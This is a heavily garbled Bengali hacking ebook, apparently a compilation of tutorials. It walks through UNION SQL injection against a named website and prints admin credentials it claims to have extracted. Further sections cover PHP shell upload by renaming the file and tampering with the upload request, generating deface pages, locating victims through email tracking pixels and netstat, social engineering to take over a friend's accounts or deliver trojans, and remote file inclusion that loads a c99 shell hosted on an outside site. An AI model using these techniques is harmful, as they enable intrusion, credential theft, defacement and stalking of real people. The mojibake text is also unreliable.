httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 8: Hacking Bangla eBook

আচছভআর দাতায অআকত ননধান

অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

